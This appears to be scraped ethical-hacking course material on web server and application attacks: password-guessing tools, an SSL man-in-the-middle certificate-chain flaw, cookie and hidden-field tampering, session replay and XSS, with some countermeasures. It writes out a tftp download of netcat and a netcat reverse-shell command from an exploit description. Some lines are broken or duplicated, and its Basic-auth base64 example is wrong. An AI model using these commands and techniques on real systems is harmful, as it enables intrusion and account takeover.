Learn Ethical Hacking Tools Free Hacking Tricks How To Hack Hacking Passwords & Email Hacking

• Password guessing attacks can be carried out manually or via automated tools.
  
• Password guessing can be performed against all types of Web Authentication
  
• 
  

• WebCracker is a simple tool that takes text lists of usernames and passwords and uses them as dictionaries to implement Basic authentication password guessing.
  
• lt keys on "HTTP 302 Object Moved" response to indicate successful guess.
  
• lt will find all successful guesses given in a username/password.
  

• It keys on "HTTP 302 Object Moved" response to indicate successful guess.
  
• It will find all successful username/password given in the list.
  

• Brutus is a generic password guessing tool that cracks various authentication.
  
• Brutus can perform both dictionary attacks and brute-force attacks where passwords are randomly generated from a given character.
  
• Brutus can crack the following authentication types:
  
• HTTP (Basic authentication, HTML Form/CGI); POP3; FTP; SMB; Telnet
  
  
  

• ObiWan is a powerful Web password cracking tool. It can work through a proxy.
  
• ObiWan uses wordlists and alternations of numeric or alpha-numeric characters as possible as passwords.
  
• Since Webservers allow unlimited requests it is a question of time and bandwidth to break into a server system.
  

• Refiner is used to generate a wordlist containing all possible combinations of a partial password, which an attacker may have obtained by other means. Refiner will then generate a text file containing all possible combinations.
  
• WeirdWordz allows the user to just select an input file and as an output file, makes all sorts of combinations of the lines/words in the input file.
  
• Raptor 1.4.6 - creates words using many different filters from html files to create a wordlist.
  
• PASS-PARSE V1.2 - Pass-parse will take any file and turn all the words into a standard type password list, while stripping anything that's not alphanumeric. The main idea behind it is that while trying to crack the password of a personal website, the password may appear on the site when the person describes their interests. This will parse through an html file and create a list of words from that page to try as passwords.

• http://www.securiteinfo.com/outils/WinSSLMiM.shtml

• WinSSLMiM is an HTTPS Man in the Middle attacking tool. It includes FakeCert, a tool to make fake certificates.

• It can be used to exploit the Certificate Chain vulnerability in Internet Explorer. The tool works under Windows 9x/2000.

• Usage:

  • FakeCert: fc -h

  • WinSSLMiM: wsm -h

We have seen how digital certificates are used for authentication purposes. Typically, the administrator of a web site opts to provide secure communication through the SSL. To enable this, the administrator generates a certificate and gets it signed by a Certification Authority. The generated certificate will list the URL of the secure web site in the Common Name (CN) field of the Distinguished Name section. The CA verifies that the administrator legitimately owns the URL in the CN field, signs the certificate, and gives it back.

[CERT - Issuer: VeriSign / Subject: VeriSign] -> [CERT - Issuer: VeriSign / Subject: www.website.com]

Then he can generate a certificate for any domain he wants to, and sign it using his CA-signed certificate: [CERT - Issuer: VeriSign / Subject: VeriSign]

-> [CERT - Issuer: VeriSign / Subject: www.attacker.com] -> [CERT - Issuer: www.attacker.com / Subject: ]

Since IE does not check the Basic Constraints on the www.attacker.com certificate, it accepts this certificate chain as valid for . This means that anyone with any CA-signed certificate (and the corresponding private key) can spoof anyone else. Any of the standard connection hijacking techniques can be combined with this vulnerability to produce a successful man in the middle attack.

Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid for as long as the expiry date is set for (see below). Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script.

Cookie Structure

domain: The website domain that created and that can read the variable.

flag: A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.

path: The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of "/" indicates that the cookie will be used for all URLs at the site from which the cookie originated.

secure: A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.

expiration: The time that the variable will expire on. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.

name: The name of the variable (in this case Apache).

The limit on the size of each cookie (name and value combined) is 4 kb. A maximum of 20 cookies per server or domain is allowed.

Cookies are the preferred method to maintain state in HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests. Therefore any attacker can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are freely available. SSL also only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions.

Example from a real world example

Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;

The attacker can simply modify the cookie to;

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;

• Helpme2.pl is an exploit code for WinHelp32.exe Remote Buffer Overrun vulnerability.

• This tool generates an HTML file with a given hidden command.

• When this HTML file is sent to a victim through e mail, it infects the victim's computer and executes the hidden code.

HelpMe.pl was written to work with kernel32.dll version 5.0.2195.4272, while HelpMe2.pl was written to work with kernel32.dll version 5.0.2195.2778

The exploit does the following:

1. Executes tftp.exe-i attacker.ip.address get nc.exe c: \winnt\system32\nc.exe

2. Executes nc.exe attacker.ip.address 80-e cmd.exe

This code generates an HTML file with a given hidden command. When the HTML file is sent to a victim through email, it infects the victim's computer and executes the hidden code.

An email sent with such html files attached will create pop-up windows until the PC's memory gets exhausted.

http://www.securityfriday.com/ToolDownload/IEen

• IEEN remotely controls Internet Explorer using DCOM.

• If you knew the account name and the password of a remote machine, you can remotely control the software component on it using DCOM. For example Internet Explorer is one of the soft wares that can be controlled.

IEEN: The Distributed Component Object Model (DCOM) is a protocol that enables software components to communicate directly over a network in a reliable, secure, and efficient manner. DCOM is installed on most Windows machines by default and runs without noticed by the users.

However, if an attacker knew the account name and the password of a remote machine, he can remotely control the software component on it using DCOM. For example, Internet Explorer is one of the software components that can be controlled. IE'en is a tool that can be used to remotely control Internet Explorer using DCOM.

Summary of IE'en Functionalities:

• Remotely connects to or activates Internet Explorer

• Captures data sent and received using Internet Explorer

• Even on SSL encrypted websites (e.g. Hotmail); IE'en can capture user ID and password in plain text.

• Change the web page on the remote IE window.

• Make the remote IE window visible / invisible

• Attacking web applications is the easiest way to compromise hosts, networks and users.

• Generally nobody notices web application penetration, until serious damage has been done.

• Web application vulnerability can be eliminated to a great extent ensuring proper design specifications and coding practices as well as implementing common security procedures.

• Various tools help the attacker to view the source codes and scan for security holes.

• The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using an encrypted session such as SSL / "secure" cookies are advocated instead of using hidden fields, which are easily manipulated by attackers.

• A cross-site scripting vulnerability is caused by the failure of a web based application to validate user supplied input before returning it to the client system.

• If the application accepts only expected input, then the XSS can be significantly reduced.

• Brute/Reverse Force

• Session Hijacking

• Session Replay

• Session Forgoing

• Page Sequencing

According to rfc2617, the Basic Access Authentication scheme of HTTP is not considered to be a secure method of user authentication (unless used in conjunction with some external secure system such as SSL), as the user name and password are passed over the network as cleartext. To receive authorization, the client sends the userid and password, separated by a single colon (":") character, within a base64 encoded string in the credentials.

For instance, if the user agent wishes to send the userid "Winnie" and password "the pooh", it would use the following header field:

Authorization: Basic bjplc2vcGZQQWxRpVuIHhZGNFt== 

Therefore, it is relatively easy to brute force a protected page if an attacker uses decent dictionary lists. For the page http://www.victim.com/private/index.html, an attacker can generate base 64 encoded strings with commonly used usernames and a password, generate HTTP requests, and look for a non-404 response:

A simple example is sniffing a URL with a session ID string and pasting it back into the attacker's web browser. The legitimate user may not necessarily need to be logged into the application at the time of the replay attack. While it is generally that username/password pairs are indeed authentication data and therefore sensitive, it is not generally understood that these generated authentication tokens are also just as sensitive. Many users who may have extremely hard-to-guess passwords are careless with the protection of cookies and session information that can be just as easily used to access their accounts in a replay attack. This is often considered forging "entity authentication" since most applications check the tokens stored in the browser or HTTP stream, and do not require user authentication after each web request.

By simply sniffing the HTTP request of an active session or capturing a desktop user's cookie files, a replay attack can be very easily performed. Exploitation can take the following general forms:

• Visiting a pre-existing dynamically created URL that is assigned to a specific user's account which has been sniffed or captured from a proxy server log

• Visiting a specific URL with a preloaded authentication token (cookie, HTTP header value, etc.) captured from a legitimate user

• A combination of 1 and 2.

Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited if the particular session has not been expired on the HTTP server. To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can seamlessly expire and regenerate tokens to give an attacker a smaller window of time for replay exploitation of each legitimate token. Token expiration can be performed based on number of requests or time.

• User is logged on to a web application and the session is currently active. An attacker knows of a XSS hole that affects that application.

• The user receives a malicious XSS link via an e-mail or comes across it on a web page. In some cases an attacker can even insert it into web content (e.g. guest book, banner, etc,) and make it load automatically without requiring user intervention.

1. The web site must prove that it is the web site it claims to be.

The web site authenticates itself by the SSL certificate issued to the domain in question by a trusted third party. Depending on the extent the user trusts the certificate issuer; s/he can be assured that the web site is what it claims to be.

Once the web site is authenticated by the user, he can choose to establish a secure data connection via the public key mechanism of SSL so that all the data that is transmitted between them is encrypted.

2. The user must authenticate self to the web site

The user provides his username/password into a form and this data is transmitted in an encrypted fashion to the web site for authentication. If the client is authenticated, a session cookie is generated with appropriate timeout and validation information. This is sent back to the user as a "secure cookie" - i.e. one that is only passed back and forth over SSL.

This can be considered as passing a shared secret back and forth, which is encrypted and is not the actual password and does timeout. If the website does not use cookies, it can opt for session codes that are embedded in the site URLs so that they are never stored in the hard disk of the client computer. Some web sites do require their users to obtain client SSL certificates so that the web site can authenticate the clients via these certificates and thus not need this whole username/password scheme.

Cookies were originally introduced by Netscape and are now specified in RFC 2965 (which supersedes RFC 2109), with RFC 2964 and BCP44 offering guidance on best practice. Cookies were never designed to store usernames and passwords or any sensitive information. There are two categories of cookies, secure or non-secure and persistent or non-persistent, giving four individual cookies types.

• Persistent and Secure

• Persistent and Non-Secure

• Non-Persistent and Secure

• Non-Persistent and Non-Secure

• A Web application vulnerable to XSS allows a user to inadvertently send malicious data to self through that application.

• Attackers often perform XSS exploitation by crafting malicious URLs and tricking users into clicking on them.

• These links cause client side scripting languages )VBScript, JavaScript etc,) of the attacker s choice to execute on the victim's browser.

• XSS vulnerabilities are caused by a failure in the web application to properly validate user input.

CSS takes place as a result of the failure of the web based application to validate user supplied input, before returning it to the client system. "Cross-Site" refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim's browser to execute malicious code with the same permissions as the domain of the web application, an attacker can bypass the traditional document object model (DOM) security restrictions. The document object model is accessible application interface that allows client-side languages to dynamically access and modify the content, structure and style of a web page.

Cross-Site Scripting (CSS) attacks require the execution of Client-Side Languages (JavaScript, Java, VBScript, ActiveX, Flash, etc.) within a user's web environment. Cross Site Scripting can result in an attacker stealing cookies, hijacking sessions, changing of web application account settings etc. The most common web components that are vulnerable to CSS attacks include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Moreover, a victim does not necessarily have to click on a link to make the attack possible.

• As a web application user, there are a few ways to protect yourselves from XSS attacks.

• The first and the most effective solution is to disable all scripting language support in your browser and email reader.

• If this is not a feasible option for business reasons, another recommendation is to use reasonable caution while clicking links in anonymous e-mails and dubious web pages.

• Proxy servers can help filter out malicious scripting in HTML.

  Preventing cross-site scripting is a challenging task especially for large distributed web applications. If the application accepts only expected input, then the XSS can be significantly reduced.

  Web servers should set the character set, and then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

  Web pages with unspecified character-encoding work mostly because most character sets assign the same characters to byte values below 128. Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<. These should be checked.

• URL Manipulation CGI Parameter Tampering

• HTTP Client-Header Injection

• Filter/Intrusion Detection Evasion

• Protocol/Method Manipulation

• Overflows

URL Manipulation CGI Parameter Tampering: This is perhaps the easiest of the lot. By inserting unacceptable or unexpected input in the url through the browser, the attacker tries to gauge whether the server is protected against common vulnerabilities.

HTTP Client-Header Injection: The next accessible point is the HTTP header. Using HTTP tags such as referrer, the attacker can manipulate the client side to suit his needs.

Filter/Intrusion Detection Evasion: The best part of attacking a web server is that the attacker can use the default port of entry - namely port 80 - to gain access into the network. As this is a standard port open for business needs, it is easy to evade intrusion detection systems or firewalls.

Protocol/Method Manipulation: Manipulating the particular protocol or the method used in the function, the attacker can hack into a web server.

Overflows: Some web server vulnerabilities take advantage of buffer overflows. The advantage is that by using buffer overflow techniques, the attacker can also make the server execute a code of his choice, making it easier for him to exploit the server further.

Attacking web applications is one of the most common way attackers compromise hosts, networks and users. It is a challenging task to defend against these attacks as there is no scope for logging the actions performed. This is particularly true for today's business applications where a significant percentage of applications are custom made or sourced from third party software components.

• Reliability of Client-Side Data

• Special Characters that have not been escaped

• HTML Output Character Filtering

• Root accessibility of web applications

• ActiveX/JavaScript Authentication

• Lack of User Authentication before performing critical tasks.

It has been noted that more often web application vulnerability can be eliminated to a great extent by the way they are designed. Apart from this, common security procedures are often overlooked by the functioning of the application.

• Information Gathering and Discovery

  • Documenting Application / Site Map

  • Identifiable Characteristics / Fingerprinting

  • Signature Error and Response Codes

  • File / Application Enumeration

    • Forced Browsing

    • Hidden Files

    • Vulnerable CGIs

    • Sample Files

• Input/Output Client-Side Data Manipulation

Penetrating web servers is no different from attacking other systems when it comes to the basic methodology. Here also, we begin with information gathering and discovery. This can be anything from searching for particular file types / banners on search engines like google. For examples, searching for "index/" may bring up unsuspecting directories on interesting sites where one may find information that can be used for penetrating the web server.

http://www.blazingtool.com

• Instant Source lets you take a look at a web page's source code, to see how things are done. Also, you can edit HTML directly inside Internet Explorer!

• The program integrates into Internet Explorer and opens a new toolbar window which instantly displays the source code for whatever part of the page you select in the browser window.

The program integrates into Internet Explorer and opens a new toolbar window, instantly displaying the source code of the page / selection in the browser window. Instant Source can show all Flash movies, script files (*.JS, *.VBS), style sheets (*.CSS) and images on a page. All external files can be demarcated and stored separately in a folder. The tool also includes HTML, JavaScript and VBScript syntax highlighting and support for viewing external CSS and scripts files directly in the browser. This is not available from the view source command option.

With dynamic HTML, the source code changes after the basic HTML page loads - which is the HTML that was loaded from the server without any further processing. Instant Source integrates into Internet Explorer and shows these changes, thereby eliminating the need for an external viewer.

http://lynx.browser.org

• Lynx is a text-based browser used for downloading source files and directory links.

Lynx can be used to access information on the Internet, or to build information systems intended primarily for local access. The current developmental Lynx has two PC ports. The ports are for Win32 (95 and NT) and DOS 386+. There Is a SSL enabled version of Lynx for Win32 by the name of lynxw32.lzh

There is a default Download option of Save to disk. This is disabled if Lynx is running in anonymous mode. Any number of download methods such as kermit and zmodem may be defined in addition to this default in the lynx.cfg file.

www.gnu.org/software/wget/wget.html

• Wget is a command line tool for Windows and Unix that will download the contents of a web site.

• It works non-interactively, so it will work in the background, after having logged off.

• Wget works particularly well with slow or unstable connections by continuing to retrieve a document until the document is fully downloaded.

• Both http and ftp retrievals can be time stamped, so Wget can see if the remote file has changed since the last retrieval and automatically retrieve the new version if it has.

Wget works well on slow or unstable connections, keeping getting the document until it is fully retrieved and re-getting files from where it left off works on servers (both HTTP and FTP) that support it. Matching of wildcards and recursive mirroring of directories are available when retrieving via FTP. Both HTTP and FTP retrievals can be time-stamped, thus Wget can see if the remote file has changed since last retrieval and automatically retrieve the new version if it has.

By default, Wget supports proxy servers, which can lighten the network load, speed up retrieval and provide access behind firewalls. However, if behind a firewall that requires a socks style gateway, the user can get the socks library and compile wget with support for socks.

http://softbytelabs.com

• Black widow is a website scanner, a site mapping tool, a site ripper, a site mirroring tool, and an offline browser program.

• Use it to scan a site and create a complete profile of the site's structure, files, E-mail addresses, external links and even link errors.

The attacker can also use this for the information gathering and discovery phase by scanning the site and creating a complete profile of the site's structure, files, e-mail addresses, external links and even errors messages. This will help him launch a targeted attack that has more chance of succeeding and leaving a smaller footprint.

The attacker can also look for specific file types and download any selection of files: from 'JPG' to 'CGI' to 'HTML' to MIME types. There is no file size restriction, and the user can download small to large files, that are a part of a site or from a group of sites.

http://sandsprite.com/sleuth/

• WebSleuth is an excellent tool that combines spidering with the capability of a personal proxy such as Achilles.

It can also make raw http requests to servers impersonating the referrer, cookie etc..; block javascript popups automatically; highlight & parse full html source code; and analyze cgi links apart from logging all surfing activities and http headers for requests and responses.

Sleuth can generate reports of elements of web page; facilitate enhanced i.e. Proxy management, as well as security settings management. Sleuth has the facility to monitor cookies in real-time. Javascript console aids in interacting directly with the pages scripts and remove all scripts in a webpage.

• Hidden fields are embedded within HTML forms to maintain values that will be sent back to the server.

• Hidden fields serve as a mean for the web application to pass information between different applications.

• Using this method, an application may pass the data without saving it to a common backend system (typically a database.)

• A major assumption about the hidden fields is that since they are non visible (i.e. hidden) they will not be viewed or changed by the client.

• Web attacks challenge this assumption by examining the HTML code of the page and changing the request (usually a POST request) going to the server.

• By changing the value the entire logic between the different application parts, the application is damaged and manipulated to the new value.

Most web applications rely on HTML forms to receive input from the user. However, users can choose to save the form to a file, edit it and then use the edited form to submit data back to the server. Herein lies the vulnerability, as this is a "stateless" interaction with the web application. HTTP transactions are connectionless, one-time transmissions.

The conventional way of checking for the continuity of connection is to check the state of the user from information stored at the user's end (Another pointer to the fallacy in trusting the client side data). This can be stored in a browser in three ways; cookies, encoded URLs and HTML form "hidden" fields

Countermeasure

The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using encrypted sessions such as SSL or "secure" cookies are advocated instead of using hidden fields. Digital algorithms may be used where values of critical parameters may be hashed with a digital signature to ascertain the authenticity of data. The safest bet would be to rely on server side authentication mechanisms for high security applications.

• WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.

• It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.

• It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages

WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.

With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.

http://www.safety-lab.com

• Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.

• Shadow Security Scanner includes vulnerability auditing modules for many systems and services.

  These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and

These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.

Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.

The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.

• IISLockdown:

  • IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.

  • It disables Web Distributed Authoring and Versioning (WebDAV).

  • It installs the URLScan ISAPI filter.

• URLScan:

  • URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.

• Web servers assume critical importance in the realm of Internet security.

• Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.

• The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.

• Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.

• Different tools/exploit codes aids an attacker perpetrate web server hacking.

• Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.